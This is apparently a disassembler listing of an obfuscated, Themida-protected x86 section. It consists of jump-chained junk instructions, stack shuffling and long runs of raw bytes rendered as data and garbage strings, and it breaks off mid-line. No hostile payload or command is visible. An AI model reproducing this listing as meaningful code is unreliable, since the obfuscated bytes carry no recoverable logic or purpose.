--------------------------------------------------------------------------- db 66h dd 53240C8Bh, 8904EC83h, 4812424h, 424h, 241C8B00h, 4C481h dd 41E90000h db 0ADh, 2 dup(0) ; --------------------------------------------------------------------------- loc_553E83: ; CODE XREF: Themida_:0056222Fj mov ebp, 4 add ecx, ebp pop ebp xchg ecx, [esp] mov esp, [esp] add edi, eax pop eax jmp loc_562743 ; --------------------------------------------------------------------------- aWsy db 'WéyÝ',0 db 0 ; --------------------------------------------------------------------------- loc_553E9F: ; CODE XREF: Themida_:00562C57j and eax, ebx pop ebx shr eax, 0Ah xor eax, ecx push ebx push 2178h mov [esp], esp jmp loc_55A4E3 ; --------------------------------------------------------------------------- aSKAssij db 'S»K/^aS鈦',0 dd 241C3300h, 0D2E9h, 0E9F30000h, 70A8h ; --------------------------------------------------------------------------- loc_553ED0: ; CODE XREF: Themida_:005516BFj and ebx, edi push dword ptr [esp] mov edi, [esp] add esp, 4 jmp loc_554352 ; --------------------------------------------------------------------------- aUsq db 'UéŸÇ',0 dd 148B5400h, 4C48124h, 0E9000000h, 28EBh, 8B2434FFh, 8951240Ch dd 4EC83E1h, 68243C89h, 69B7h, 0E9243489h, 0FFFFCC92h dd 8904EC83h, 71E92434h, 5C0000BAh, 5266E9h, 1E98100h dd 57000000h, 0FFBF89E9h, 3E5568FFh, 8E90000h db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553F3B: ; CODE XREF: Themida_:00554904j mov edi, [esp] add esp, 4 shr esi, 4 shr esi, 8 jmp loc_55080C ; --------------------------------------------------------------------------- loc_553F4F: ; CODE XREF: Themida_:00563162j push esp jmp loc_5620E7 ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 2DBCBD55h, 6C3148DAh, 595D0424h, 4FFDE9h, 4C48300h dd 8704ED83h, 895C242Ch, 6852243Ch, 220610A4h, 0F673BF5Ah dd 0FBE93AF6h db 0D4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553F87: ; CODE XREF: Themida_:00555B76j pop esp and eax, edx push dword ptr [esp] push dword ptr [esp] pop edx push 2869h jmp loc_552D36 ; --------------------------------------------------------------------------- db 5Ch dd 242CD366h, 0B3C7E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553FA6: ; CODE XREF: Themida_:00557DC5j pop edx mov ah, 5 sub ah, ch jmp loc_5627C6 ; --------------------------------------------------------------------------- dd 6491C181h, 0F181586Dh, 474DD78Fh, 0E959C829h, 91EEh dd 0E9241C8Bh, 0A97Ch, 2414F753h, 1C3815Bh, 0C1000000h dd 0F38103E3h, 385D4368h, 815BDF89h, 0F444D3F7h, 8BFE2968h dd 0C481243Ch, 4, 68h, 2434FF00h, 9413E9h, 24048900h, 0B5517FB4h dd 4EDC0D9h, 0FFF535E9h db 0FFh ; --------------------------------------------------------------------------- loc_554011: ; CODE XREF: Themida_:0055CF79j add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_55B3B6 ; --------------------------------------------------------------------------- dd 0F0CF815Bh, 81664C35h, 25BD76EFh, 6E46E9BAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55403A: ; CODE XREF: Themida_:0055A4FDj xor ebp, [esp] mov esp, [esp] mov [esp], ebx push dword ptr [esp] pop eax jmp loc_550488 ; --------------------------------------------------------------------------- loc_55404C: ; CODE XREF: Themida_:0055CD70j add esi, ecx pop ecx push esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 jmp loc_558A81 ; --------------------------------------------------------------------------- db 0BAh dd 279A5C12h, 685AD731h, 4EC2h, 0BD242C89h, 4A9A3822h dd 1BC16850h, 1C890000h, 37B5BB24h, 0D8893245h, 0E9C5095Bh dd 74CAh, 89241489h, 4C281E2h, 57000000h, 784CBD55h, 0E9454CF1h dd 552h, 31241433h, 14332414h, 0F006E924h, 0FD290000h dd 0FFBE68E9h, 4EC81FFh, 89000000h, 4BF243Ch, 2D000000h dd 46740978h, 0CF21382Dh, 5F80148h, 48CF2138h, 74097805h dd 243C8B46h, 8704C483h, 9EE92404h, 81000025h, 8F72A5F6h dd 4843E978h, 0D7210000h, 6E33E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_5540FE: ; CODE XREF: Themida_:0055677Fj add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] add esi, eax push dword ptr [esp] pop eax sub esp, 4 mov [esp], ebp jmp loc_560912 ; --------------------------------------------------------------------------- loc_554121: ; CODE XREF: Themida_:0056161Bj push dword ptr [esp] push dword ptr [esp] jmp loc_55DE46 ; --------------------------------------------------------------------------- loc_55412C: ; CODE XREF: Themida_:00562245j xor ebx, 5B5D1733h shl ebx, 6 add ebx, 0FFFFFFFFh sub ebx, 7D73648Ch sub ebp, 36494E1Dh sub ebp, ebx add ebp, 36494E1Dh pop ebx jmp loc_55FF44 ; --------------------------------------------------------------------------- db 31h, 0Ch, 24h dd 8B240C33h, 0AE92424h, 66FFFFB2h, 6824048Bh, 284Eh, 2262E9h dd 0AAF68100h, 0C1627F46h, 19E902EEh, 10000EAh, 8104246Ch dd 2604246Ch, 0E904381Dh, 44A2h, 8B2434FFh, 0E9532434h dd 2679h, 7488C781h, 814F642Ch, 0C694CCEFh, 8BFE8954h dd 0C483243Ch, 0D702E904h, 0D6F6FFFFh, 0BAE8E9h db 0 ; --------------------------------------------------------------------------- loc_5541BD: ; CODE XREF: Themida_:00560BFFj push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_560FCD ; --------------------------------------------------------------------------- dw 489h aISiupiIS db '$ˆÔSˆãPˆØˆÁé',9,'^',0 align 10h dd 31241433h, 14332414h, 24248B24h, 4AB0F66h, 76E99C24h db 0B1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5541F7: ; CODE XREF: Themida_:0055230Fj xor edi, 8F128E97h sub edx, edi pop edi add ebx, edx push dword ptr [esp] pop edx push 53ACh jmp loc_553473 ; --------------------------------------------------------------------------- dd offset dword_506C48+520h dd 24348900h, 4616EDBEh, 6E6C173h, 0CB16E946h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554226: ; CODE XREF: Themida_:00555855j add edi, edx pop edx add edi, 0FF7EE685h push edi jmp loc_54F403 ; --------------------------------------------------------------------------- db 0F7h, 0DEh, 0E9h dd 0FFFFE332h ; --------------------------------------------------------------------------- loc_55423C: ; CODE XREF: Themida_:0055634Ej mov edx, 4 add esi, edx pop edx push ebx mov ebx, 4 add esi, ebx pop ebx xchg esi, [esp] pop esp jmp loc_55EA1C ; --------------------------------------------------------------------------- loc_554256: ; CODE XREF: Themida_:00558DBAj mov edi, [esp] add esp, 4 xor eax, [esp] xor [esp], eax jmp loc_562D72 ; --------------------------------------------------------------------------- dw 5666h dd 24048166h, 5F661F7Eh, 7EEF8166h, 0B817E91Fh, 5D68FFFFh dd 89000012h, 0ABBF243Ch, 81147866h, 4399AFF7h, 5FFB01EFh dd 0CB9EE81h, 93E94CF6h, 81000082h, 826407EFh, 81F72910h dd 826407C7h, 0E7C15E10h, 0FFEF8106h, 4FFFFFFFh, 8904EC83h dd 4CE92414h, 66FFFFE7h, 6635E2BEh, 665C602Dh, 6662A805h dd 2D66F001h, 56662A8h, 8B665C60h, 89522434h, 4C281E2h dd 0E9000000h, 29C9h, 51240C8Bh, 4A70E9h, 31685300h, 5B379149h dd 7998F381h, 0DF891231h, 99C4E95Bh, 0E9570000h, 0FFFFEB3Ch dd 62AEC281h, 575935BFh, 494EC1BFh, 5FFA296Bh, 34B9EA81h dd 0FA014357h, 34B9C281h, 0C3E94357h, 0C0FFFFF1h, 62E906EBh db 0A7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55433B: ; CODE XREF: Themida_:0055FC31j mov ecx, 3B2C24FAh xor ecx, 2EE75FAFh inc ecx xor ecx, 8169CF2Bh jmp loc_558894 ; --------------------------------------------------------------------------- loc_554352: ; CODE XREF: Themida_:00553EDEj push edx jmp loc_561803 ; --------------------------------------------------------------------------- dd 0E953D4F6h, 66A9h ; --------------------------------------------------------------------------- loc_554360: ; CODE XREF: Themida_:0055BCD8j pop esi add esp, 4 push edx mov edx, esp add edx, 4 push ecx mov ecx, 4 add edx, ecx pop ecx jmp loc_55D318 ; --------------------------------------------------------------------------- loc_55437E: ; CODE XREF: Themida_:0055B497j pop ebx sub edx, edi pop edi xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp mov [esp], ax jmp loc_54F36D ; --------------------------------------------------------------------------- db 53h, 0BBh, 82h dd 0E94AF40Eh, 5A5Bh ; --------------------------------------------------------------------------- loc_5543A0: ; CODE XREF: Themida_:00558E58j pop edi pop ebp inc edi or edi, 26584649h jmp loc_556784 ; --------------------------------------------------------------------------- aQuser db 'QUé¥R',0 db 0 ; --------------------------------------------------------------------------- loc_5543B5: ; CODE XREF: Themida_:00553992j add edx, 4 add edx, 4 xchg edx, [esp] pop esp push esi mov esi, 10E03A9Ah add eax, esi pop esi sub eax, ecx jmp loc_55E7FF ; --------------------------------------------------------------------------- aPsb db 'PéÅ',0 dw 3100h dd 2434FFDAh, 7A1CE95Bh, 315B0000h, 2434FFE8h, 0FFB41FE9h dd 0FDBA52FFh, 296B7153h, 5A042454h, 0FDC3815Bh, 8B6B7153h dd 5BE92414h, 0BD00000Ch, 596A074Dh, 0F104E9h, 2474FF00h dd 48F5B04h, 0A9E95C24h, 0B9000093h, 584F7578h, 0E949D9F7h dd 290Ch, 0BC2CE828h, 2C412C59h, 0A2C4Ah, 0E90A04D8h, 10024h ; --------------------------------------------------------------------------- loc_554444: ; CODE XREF: Themida_:005620DAj mov edi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_55A8FC ; --------------------------------------------------------------------------- loc_55445B: ; CODE XREF: Themida_:0054FEA3j pop ebx and ecx, eax mov eax, [esp] push edi push esp pop edi push 9FDh mov [esp], ecx push ebp mov ebp, 4 jmp loc_552223 ; --------------------------------------------------------------------------- db 8Bh dd 0C483242Ch, 5F0A6804h, 0EEE90000h, 5D0000A0h, 9FFFE9h dd 0B6526600h, 66F7285Ch, 0B03CE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_55449A: ; CODE XREF: Themida_:0055DDC3j sub edx, 0CBFA2057h sub eax, edx mov edx, [esp] add esp, 4 add eax, ebx add eax, 4DD818B6h mov ebx, [esp] add esp, 4 add eax, 2 xchg eax, [esp] pop esp div cl movzx cx, ah push edi push 63AEh push esp pop dword ptr [esp] push esi mov esi, 4 add [esp+4], esi pop esi mov edi, [esp] add esp, 4 push ebp jmp loc_55DCDA ; --------------------------------------------------------------------------- dd 3BDAC681h, 875D2F2Ch, 55C2434h, 4, 0A5768h, 242C8900h dd 268h, 242C8B00h, 5104C483h, 0F811ECB9h, 0A65FE950h dd 0D0F70000h, 3503E8C1h, 6751621Ch, 0E951D8F7h, 0B1FFh ; --------------------------------------------------------------------------- loc_554528: ; CODE XREF: Themida_:0055302Fj push esi push esp pop esi push edi mov edi, 76301FE4h add edi, 4C944760h not edi add edi, 0C2C46749h add esi, edi pop edi push edi mov edi, 6D8F40E9h sub edi, 66966724h push edi push ebp pop edi pop ebp dec ebp xchg ebp, edi sub edi, 6F8D9C0h jmp loc_560E79 ; --------------------------------------------------------------------------- dd 6824048Bh, 7BC2h, 89243489h, 4EC83E6h, 0C0ADE9h db 0 ; --------------------------------------------------------------------------- loc_554575: ; CODE XREF: Themida_:0055EE71j add ebp, edi add ebp, 2D6E3EB2h pop edi pop ecx push ebx mov ebx, 2BD074B2h add ebx, 74A731ABh shr ebx, 7 jmp loc_5643B2 ; --------------------------------------------------------------------------- db 5Bh dd 81FFEE83h, 0BD6140C6h, 1EE814Ch, 0E9000000h, 0F711h ; --------------------------------------------------------------------------- loc_5545A8: ; CODE XREF: Themida_:00553C4Ej mov cx, [esp] push ecx mov ecx, esp push eax mov eax, 1AC74137h xor eax, 1AC74133h add ecx, eax pop eax jmp loc_555291 ; --------------------------------------------------------------------------- loc_5545C2: ; CODE XREF: Themida_:0055696Cj add esp, 4 jmp loc_55FE24 ; --------------------------------------------------------------------------- loc_5545CA: ; CODE XREF: Themida_:00557E2Dj mov esi, edi pop edi push edi push eax push 46D50CF5h jmp loc_554BDA ; --------------------------------------------------------------------------- loc_5545D9: ; CODE XREF: Themida_:0056019Fj add esp, 4 jmp loc_55A5BC ; --------------------------------------------------------------------------- loc_5545E1: ; CODE XREF: Themida_:00551E03j mov ebx, 0FFFFh and eax, ebx jmp loc_55EBA9 ; --------------------------------------------------------------------------- loc_5545ED: ; CODE XREF: Themida_:00558619j add [esp+8], eax jmp loc_55873E ; --------------------------------------------------------------------------- aBadS9g db 'íd&Á',27h,'é9£',0 dd 4C48300h, 6538E9h, 0C1D0F700h, 0EF0504E0h, 297BE1BEh dd 0B85058C5h, 18B9138Dh, 0FFE9E3E9h, 241487FFh, 242C875Ch dd 8324048Bh, 0E95304C4h, 0E6C2h, 315BD929h, 0ED8159CFh dd 425225E3h, 5B4EE9h, 302AB000h, 0E8C059C8h, 0A8E0E907h dd 0BF570000h, 43503136h, 15FFB31h, 0FF575BDFh, 5F042474h dd 5C24048Fh, 0EC815266h, 4, 0D90E9h, 300FBA00h, 0BD552082h dd 38C90B12h, 815DEA29h, 4ECh, 242C8900h, 57F66853h, 815B490Fh dd 7F0050C3h, 65F3811Ah, 53087E61h, 0EA095B5Dh, 68DAF75Dh dd 50EAh, 0E9243489h, 0D4C7h, 5966CF28h, 0FFC105E9h, 0E6FDB9FFh dd 0CE31431Fh, 700CE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5546CA: ; CODE XREF: Themida_:00557F28j add ebx, 70B6CFCh push edi push ecx mov ecx, 12B67B68h mov edi, 0FD080092h add edi, ecx pop ecx sub edi, 0EB77671Fh sub ebx, edi pop edi jmp loc_560240 ; --------------------------------------------------------------------------- db 88h, 0D4h, 0FFh dd 835A2434h, 0EC8004C4h, 5ECC0B3h, 9891E9h db 0 ; --------------------------------------------------------------------------- loc_554701: ; CODE XREF: Themida_:0055FFD5j push eax mov eax, esp add eax, 4 jmp loc_5602A1 ; --------------------------------------------------------------------------- loc_55470E: ; CODE XREF: Themida_:005623E3j mov esp, [esp] jmp loc_5585B3 ; --------------------------------------------------------------------------- dw 0E789h dd 0F5D0E9h, 0E9DC8800h, 0BEA4h ; --------------------------------------------------------------------------- loc_554724: ; CODE XREF: Themida_:00558528j pop eax jmp loc_561CB2 ; --------------------------------------------------------------------------- loc_55472A: ; CODE XREF: Themida_:0055C7DBj push 472A0B93h mov esi, [esp] add esp, 4 jmp loc_5619A1 ; --------------------------------------------------------------------------- dw 8B5Bh dd 0C4812404h, 4, 5D34E9h, 256B900h, 0CF297C6Ch, 0EF7EE959h dd 0EE830000h, 74FF5604h, 8F5E0424h, 0E95C2404h, 3A60h dd 24048150h, 16F407E3h, 2AB1E9h, 0C2815900h, 4, 661CE9h db 0 ; --------------------------------------------------------------------------- loc_554781: ; CODE XREF: Themida_:00553E5Ej sub dh, 0D8h mov ch, dh mov edx, [esp] add esp, 4 xor bh, ch mov cx, [esp] push eax jmp loc_55378C ; --------------------------------------------------------------------------- db 89h dd 4EC81E6h, 89000000h, 4B9240Ch, 81000000h, 2C2F93EEh dd 0D0F7E95Fh, 0E95C0000h, 0FFFFABB1h ; --------------------------------------------------------------------------- loc_5547BC: ; CODE XREF: Themida_:00563892j xor ebx, [esp] mov esp, [esp] mov [esp], eax jmp loc_54F36D ; --------------------------------------------------------------------------- dw 0E957h dd 0FFFFE51Ch, 592434FFh, 83E28952h, 0C8904ECh, 0FFBE5624h dd 812D227Bh, 115C7ACEh, 6AE68141h, 8144AE6Fh, 226F6EF6h dd 5EF18944h, 0C8BCA01h, 0DB4EE924h, 0D601FFFFh, 0E924148Bh dd 0C7Bh, 4BFh, 4992E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554816: ; CODE XREF: Themida_:005625CCj add ebx, 545A00A0h sub edx, ebx pop ebx mov ecx, [esp] add esp, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_561610 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0E9D60100h, 6DE1h, 0F7DAF742h, 0BAC281D2h, 1E51B69h dd 0C3295AD0h, 582434FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push ecx jmp loc_54FD8F ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFAB05h, 0F7E9575Bh, 83FFFFB2h, 148704C2h, 0BECEE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55487A: ; CODE XREF: Themida_:00562595j pop eax push edx mov edx, 57AC63E7h or edi, edx pop edx jmp loc_5613E6 ; --------------------------------------------------------------------------- db 66h, 29h, 0C8h dd 3DDD2D66h, 2D665966h, 40E94A7Fh, 810000F9h, 3179F2C2h dd 5AD121F5h, 7E29C181h, 0E9812B1Dh, 7BA90BF1h, 8159CD09h dd 0FE74FAEDh, 5D5A557Dh, 5A4FEA2Dh, 5D0012Ah, 2A5A4FEAh dd 0FD5BE95Ah, 0C4830000h, 0E9DDF704h, 0FFFFF530h ; --------------------------------------------------------------------------- loc_5548D8: ; CODE XREF: Themida_:0055DF5Dj sub eax, 4 xchg eax, [esp] jmp loc_55A3FF ; --------------------------------------------------------------------------- loc_5548E5: ; CODE XREF: Themida_:0055A28Aj xor edi, 7BB5AE06h sub ebp, edi pop edi mov edi, ebp pop ebp mov esi, 9D7F4FE1h add esi, 48E323E2h add esi, edi sub esi, 48E323E2h jmp loc_553F3B ; --------------------------------------------------------------------------- db 45h, 81h, 0F5h dd 0D7529C28h, 615C281h, 91E96688h, 0F7000014h, 0DBB53DFh dd 0E9066D65h, 0FAAEh ; --------------------------------------------------------------------------- loc_554928: ; CODE XREF: Themida_:0055AF2Cj add ebp, esi pop esi push 63F0h mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] jmp loc_55864B ; --------------------------------------------------------------------------- loc_55493F: ; CODE XREF: Themida_:0055D135j mov ebx, esp push eax mov eax, 4 add ebx, eax pop eax push edi mov edi, 4 add ebx, edi pop edi xchg ebx, [esp] pop esp add ebx, 6A2C12h add ebx, eax sub ebx, 6A2C12h push edx push ecx mov ecx, 1DBA258Eh xor ecx, 51E724CDh mov edx, ecx jmp loc_56224A ; --------------------------------------------------------------------------- db 89h, 0E1h, 81h dd 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFFFA9DDh, 6804C483h dd 1720h, 0BE243489h, 0FA68BDE6h, 0CF8C381h, 0F301360Bh dd 0CF8EB81h, 0B0E9360Bh db 0BDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5549B3: ; CODE XREF: Themida_:00563F50j shl edx, 4 shr edx, 2 push ecx jmp loc_55A074 ; --------------------------------------------------------------------------- db 0FFh dd 835B2434h, 0BF5704C4h, 79B5A58h, 15FF929h, 611FE9D9h dd 0C2810000h, 0C1E43541h, 815AD189h, 857033E9h, 2C815126h dd 13E6224h, 6856583Bh, 73FC0470h, 8324348Bh, 72E904C4h dd 89FFFFF7h, 2C81242Ch, 38248124h, 0EC835A7Ah, 243C8904h dd 1CACE9h db 0 ; --------------------------------------------------------------------------- loc_554A15: ; CODE XREF: Themida_:0055F623j mov bp, 5EE7h jmp loc_550C77 ; --------------------------------------------------------------------------- aZsc db 'Zéç',27h,0 align 4 dd 68240C89h, 47F171C7h, 0DD4E9h db 0 ; --------------------------------------------------------------------------- loc_554A31: ; CODE XREF: Themida_:0055C096j and ebp, 18CF2359h shr ebp, 2 shl ebp, 7 xchg eax, ebp not eax xchg eax, ebp push ecx mov ecx, 66946242h xor ecx, 3D70B2Ch jmp loc_55E8C4 ; --------------------------------------------------------------------------- aSub db ')Ñé“',0 dd 5FFE2900h, 1601CE81h, 0C68125B7h, 3FE28D4Ah, 0DFE9F329h dd 8900007Dh, 0EC83241Ch, 24248904h, 4240483h, 5051575Bh dd 16490D68h, 0E8C15853h, 2DD0F702h, 0DB4F4405h, 8C42E9h dd 2434FF00h, 0E789575Ah, 20FBB951h, 81413B6Eh, 2063EAE1h dd 7E1C157h, 4834E981h, 0F1811795h, 787B2BC8h, 27ACE9h dd 5E9C100h, 0E907E9C1h, 0E944h, 0E80E182Dh, 0BD555320h dd 74C59F6h, 0E473E9h, 382EBD00h, 0C58103CDh, 1B1F053Ah dd 505DEF01h, 727A8EB8h, 378C3570h, 0C7310B5Eh, 5FEF8158h dd 1B00F80h, 14B1E9F8h, 0CE290000h, 3B62E9h, 4C48100h dd 80000000h, 0DE882AF3h, 51241C8Bh, 694368h, 24248900h dd 4240483h, 0F792E959h, 8F590000h, 248B2404h, 0B30F6624h dd 0E99C2404h, 0FFFFA831h, 240C8B66h, 818EE951h, 22E90000h dd 49FFFFA8h, 952FE949h, 74FF0000h, 8F5D0424h, 0EC832404h dd 24148904h, 0B951E289h, 751F6B5Ah, 1EF0E9h, 242C8900h dd 0C581E589h, 4, 43DBE953h, 0B1510000h, 0CA23E9F5h, 0F729FFFFh dd 5FFD015Eh, 8704C583h, 1CE9242Ch, 5C000062h, 840FC009h dd 0FFFFAF2Ch, 0D968h, 0B983E900h, 0F701FFFFh, 3D0FE95Eh dd 34870000h, 24248B24h, 0E9243C89h, 0FFFFB54Ch, 1BE959B3h dd 330000DCh, 248B240Ch, 48B6624h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx jmp loc_558CF6 ; --------------------------------------------------------------------------- loc_554BDA: ; CODE XREF: Themida_:005545D4j pop eax jmp loc_55CFE3 ; --------------------------------------------------------------------------- dd 6624248Bh, 9C240401h, 1A30E9h, 0E9038800h, 0F3E9h, 8B2434FFh dd 0C4832404h, 4C48304h, 0EB0BE9h, 24348900h, 3CB568h dd 241C8900h, 58790A68h, 241C8B72h, 0A0CEE9h, 0DF015D00h dd 9699E9h, 0E9C80100h, 1381h ; --------------------------------------------------------------------------- loc_554C2C: ; CODE XREF: Themida_:00552525j sub ebx, 57E84AC5h push ecx push eax push 1A3B4A67h pop eax xor eax, 79E61664h add eax, 9D70A480h mov ecx, eax jmp loc_563F2C ; --------------------------------------------------------------------------- db 50h dd 55515854h, 7662D068h, 2E95D10h, 8BFFFFB9h, 0EC81240Ch dd 4, 68241489h, 6D25h, 81242489h, 42404h, 685A0000h, 5278h dd 0E9243C89h, 10ECh ; --------------------------------------------------------------------------- loc_554C84: ; CODE XREF: Themida_:00560FC8j sub ebx, ebp pop ebp push esi mov esi, ebx sub esp, 4 mov [esp], edi mov edi, esi mov ecx, edi pop edi jmp loc_55D440 ; --------------------------------------------------------------------------- db 51h, 0B5h, 71h dd 0C5FEDDF6h, 0B6C580h, 0E3C059EBh, 8E3C006h, 0E90CEB80h dd 7A1Fh, 8B24048Fh, 41E92424h db 41h, 2 dup(0) ; --------------------------------------------------------------------------- loc_554CC3: ; CODE XREF: Themida_:0055F29Bj pop ebx add esp, 4 push cx jmp loc_54F467 ; --------------------------------------------------------------------------- aL4Sgx db '‹4$é£å',0 align 2 loc_554CD6: ; CODE XREF: Themida_:0055F33Bj mov eax, [esp] push edx jmp loc_550782 ; --------------------------------------------------------------------------- loc_554CDF: ; CODE XREF: Themida_:005604F5j inc ebx sub ebx, 392553FEh push edi mov edi, 9C49C578h sub ebx, edi pop edi add eax, ebx jmp loc_5580D0 ; --------------------------------------------------------------------------- loc_554CF6: ; CODE XREF: Themida_:00561F7Aj pop ecx xchg ebp, [esp] jmp loc_561756 ; --------------------------------------------------------------------------- db 8Bh dd 85E9240Ch, 29000091h, 815E5AD0h, 4ECh, 1702E900h, 44810000h dd 30550424h, 4C017696h, 6C810424h, 30550424h, 0E9597696h dd 0FFFFA63Dh, 1CCE685Ah, 1C890000h, 5B7BB24h, 0F38134B4h dd 34B405B3h, 0FFC030E9h, 3C895CFFh, 0AEAEE924h, 0EF810000h dd 1FC965BDh, 645EE953h, 0EED10000h, 830EE957h, 0D0010000h dd 3E562D5Ah, 32D5A25h, 10A0A78h, 780305D8h, 56050A0Ah dd 685A253Eh, 64ACh, 0E9240C89h, 5FD2h, 37C2815Dh, 1412E4Eh dd 37EA81FAh, 8B412E4Eh, 0C483243Ch, 24148704h, 31C3315Ch dd 62EEE9C2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554DAE: ; CODE XREF: Themida_:0055A6B8j pop edx sub esp, 4 mov [esp], edi jmp loc_557F2D ; --------------------------------------------------------------------------- db 5Bh, 52h, 68h dd 711C21EFh, 8324148Bh, 0B85004C4h, 28B0719Bh, 8158C231h dd 47262BEAh, 0E9D031F4h, 0D739h, 0C281DA01h, 4AFF69D7h dd 2414875Bh, 0E924248Bh, 8DC1h ; --------------------------------------------------------------------------- loc_554DF4: ; CODE XREF: Themida_:0055337Bj push ecx mov ecx, 6F1F135Fh inc ecx inc ecx jmp loc_55CD6A ; --------------------------------------------------------------------------- db 81h, 0C3h, 4Ch dd 5652E27Dh, 0E878DEBEh, 5EF32952h, 241C875Fh, 2404D25Ch dd 0A54FE99Ch, 148BFFFFh, 0E84BE924h, 0EC800000h, 23EC80B4h dd 8058E200h, 0CA801FC2h, 64C28057h, 5317E9h, 53C56800h dd 14890000h, 0B9515024h, 25D9751Bh, 0FFA759E9h, 0E6C146FFh dd 8E6C103h, 8E41E94Eh, 0E9AC0000h, 0FFFFDA7Fh, 0C181D101h dd 1B15E92h, 2BA525Ah, 1000000h, 24148BD1h, 5104C483h dd 428DE9h, 2434FF00h, 8324348Bh, 545504C4h, 0D833E9h dd 4C48100h, 68000000h, 6089h, 0F8DCE9h, 0DCE95C00h, 0BD00006Ah dd 70E7761Fh, 1469B951h, 0CA293156h, 81EA2959h, 561469C2h dd 87595D31h, 248B2414h, 24148924h, 9EE99C50h, 0BEFFFFA4h dd 4, 63EBC581h, 0F5016FB1h, 63EBED81h, 335E6FB1h, 2C31242Ch dd 242C3324h, 0E3D4E9h, 0EA815E00h, 3B8D7181h, 0EC83CA01h dd 241C8904h, 8D7181BBh, 0E9DA013Bh, 0FFFFD0EBh ; --------------------------------------------------------------------------- loc_554F0C: ; CODE XREF: Themida_:0055EA67j and ebp, 78534A4Ah add ebp, 1 sub ebp, 2FC3132Dh shl ebp, 7 add ebp, 0C1887604h add ecx, 157656E9h jmp loc_5589F4 ; --------------------------------------------------------------------------- dw 9C2Dh dd 0FF2BC000h, 3C8B2434h, 0E103E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554F42: ; CODE XREF: Themida_:0055CA50j sub ebx, edi jmp loc_55D12A ; --------------------------------------------------------------------------- db 0BDh, 47h, 9Ah dd 0FD31E5A4h, 0E9E8015Fh, 0FFFFE5D9h, 33FDE95Dh, 610C0000h dd 0C688022Ch, 6BB0E9h, 12EAB800h, 752D03EBh, 5242ED1Ch dd 192806BAh, 0BAD7E976h, 0C6010000h, 590CC681h, 2D586D3Ah dd 6E454964h, 0CCBCE9h db 0 ; --------------------------------------------------------------------------- loc_554F91: ; CODE XREF: Themida_:00561628j add bl, 0Ch add bl, dh sub bl, 0Ch jmp loc_560FF6 ; --------------------------------------------------------------------------- loc_554F9E: ; CODE XREF: Themida_:00551EBFj xor ebp, eax xor eax, ebp xor ebp, eax push 33F5h jmp loc_55FD5C ; --------------------------------------------------------------------------- loc_554FAE: ; CODE XREF: Themida_:0055AA2Bj mov ebx, 4B700239h jmp loc_55F19D ; --------------------------------------------------------------------------- loc_554FB8: ; CODE XREF: Themida_:005616ABj mov [esp], ecx sub esp, 4 mov [esp], ebx push eax sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 pop eax jmp loc_556BE2 ; --------------------------------------------------------------------------- loc_554FD9: ; CODE XREF: Themida_:005573D0j pop ebx push ecx push dword ptr [esp+4] jmp loc_55CF5E ; --------------------------------------------------------------------------- loc_554FE4: ; CODE XREF: Themida_:005611EFj mov [esp], edx sub esp, 4 mov [esp], ecx push 20997BF9h mov ecx, [esp] add esp, 4 not ecx jmp loc_5626CF ; --------------------------------------------------------------------------- loc_555002: ; CODE XREF: Themida_:0055E0B1j add esi, 2A8C75AEh dec esi shl esi, 2 add esi, 1A680D0Ch neg esi xor esi, 0F1932093h sub eax, esi pop esi push dword ptr [esp] pop ebp push ebp mov ebp, esp add ebp, 4 jmp loc_55F8BA ; --------------------------------------------------------------------------- db 89h dd 0BA522434h, 2E0A6C9Eh, 0A6C9ABEh, 5AD6312Eh, 348BF301h dd 7847E924h, 0EE810000h, 76E1058Dh, 0C681D601h, 76E1058Dh dd 74FF565Ah, 348B0424h, 38C0E924h, 0C4810000h, 4, 3E33EF81h dd 0DF01504Eh, 3E33C781h, 34FF504Eh, 89565B24h, 4C681E6h dd 81000000h, 4C6h, 24348700h, 1960E9h, 0C3815A00h, 1870B2EAh dd 555BDF29h, 0B0400FBDh, 0E9EF094Ch, 0F59h, 8324048Bh dd 0D66804C4h, 8900000Ch, 5ABA2414h, 0E90AC814h, 0F35Bh dd 5E67EF81h, 814F476Dh, 9B8105C7h, 9C2FE964h, 525A0000h dd 0C74349BAh, 81DAF728h, 0D7A559C2h, 0E9D73134h, 0BAB9h ; --------------------------------------------------------------------------- loc_5550EC: ; CODE XREF: Themida_:0055CB57j push ebp mov ebp, 4 add [esp+4], ebp jmp loc_55F0DA ; --------------------------------------------------------------------------- loc_5550FB: ; CODE XREF: Themida_:00564247j pop edx and eax, ecx mov ecx, [esp] jmp loc_55A2A7 ; --------------------------------------------------------------------------- dw 2C89h dd 0F3E95624h, 8900000Ah, 4BF57E6h, 1000000h, 0C6815FFEh dd 4, 5C243487h, 795068h, 24048900h, 42474FFh, 8324048Bh dd 48F04C4h, 89535C24h, 4C381E3h, 50000000h, 8F1391B8h dd 0D0F74050h, 0F708E8C1h, 8F1035D8h, 0C301FF50h, 